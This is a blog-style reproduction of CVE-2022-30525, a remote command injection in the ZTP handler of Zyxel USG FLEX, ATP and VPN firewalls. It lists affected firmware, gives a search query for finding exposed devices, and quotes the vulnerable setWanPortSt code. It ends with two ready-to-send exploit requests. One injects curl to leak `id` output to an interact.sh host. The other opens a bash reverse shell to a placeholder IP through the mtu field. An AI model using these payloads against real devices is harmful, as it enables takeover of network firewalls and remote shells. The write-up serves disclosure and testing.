Post

Zyxel Usg Flex Handler Remote Command Execution Vulnerability Cve 2022 30525

Zyxel Usg Flex Handler Remote Command Execution Vulnerability Cve 2022 30525

Zyxel USG FLEX handler Remote Command Execution Vulnerability CVE-2022-30525

Vulnerability Description

Rapid7 discovered and reported a vulnerability that affected Zyxel firewalls that support Zero Touch Configuration (ZTP), including the ATP series, VPN series, and USG FLEX series (including USG20-VPN and USG20W-VPN).

Vulnerability Impact

USG FLEX 100, 100W, 200, 500, 700 < ZLD5.00 - ZLD5.21 Patch 1

USG20-VPN, USG20W-VPN < ZLD5.10 - ZLD5.21 Patch 1

ATP 100, 200, 500, 700, 800 < ZLD5.10 - ZLD5.21 Patch 1

Network surveying and mapping

title=”USG FLEX”

Vulnerability reappears

Login page

img

The file with the vulnerability is the setWanPortSt method under lib_wan_settings.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
def setWanPortSt(req):

    reply = {}
    vlan_tagged = ''
    logging.info(req)
    port = req["port"].strip()

    vlanid = req["vlanid"]
    proto = req["proto"]
    data = req["data"]
    vlan_tagged = req["vlan_tagged"]
    
    cmdLine = ''
    GUIportst = {}
    
    extname = findextname(port)

    #TODO: subprocess method
    try:
        if vlan_tagged == '1':
            if vlanid == '':
                vlanid == '0'

        if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "static":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            prefix_length = netmask_to_cidr(data['netmask'])
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 12 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 2 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' ' + data['firstDnsServer']
            if 'secondDnsServer' in data:
                cmdLine += ' ' + data['secondDnsServer']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "pppoe":
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 13 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 3 '
            #extname = findextname(port)

            if 'auth_type' not in data:
                data['auth_type'] = 'chap-pap'
            if 'mtu' not in req:
                req['mtu'] = '1492'
            if 'ipaddr' not in data:
                data['ipaddr'] = '0.0.0.0'
            if 'gateway' not in data:
                data['gateway'] = '0.0.0.0'
            if 'firstDnsServer' not in data:
                data['firstDnsServer'] = '0.0.0.0'

            cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] \
                + ' ' + data['auth_type'] \
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] \
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' >/dev/null 2>&1'
            
        logging.info("cmdLine = %s" % cmdLine)
        with open("/tmp/local_gui_write_flag", "w") as fout:
            fout.write("1");

        response = os.system(cmdLine) 
        logging.info(response)
        if response != 256:
            logging.info("cmd thread return error")
            reply = {"error": 500}
        else:
            logging.info("cmd success!!")
            reply["stdout"] = [{}]
            reply["stderr"] =""
            with open(WAN_PORT_LAST_CHANGED, "w") as fout:
                fout.write(port)
            if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD):
                reply = {"error": 500, "exception": "Cannot find data2cloud folder!"}
            with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified', 'a+') as fout:
                fout.write(port + ' ')
            
    except Exception as e:
        reply = {"error": 500, "exception": e}
   
    return reply

From the source code, you can see that the spliced ​​parameter is mtu, and then the os.system command is executed directly

img

Verify POC

1
2
3
4
5
POST /ztp/cgi-bin/handler HTTP/1.1
Host: 
Content-Type: application/json

{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl `id`.c9y7h342vtc00002dwxggr9tukwyyyyyj.interact.sh;","data":"hi"}

img

Rebound Shell

1
2
3
4
5
POST /ztp/cgi-bin/handler HTTP/1.1
Host: 
Content-Type: application/json

{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1';","data":"hi"}

img

This post is licensed under CC BY 4.0 by the author.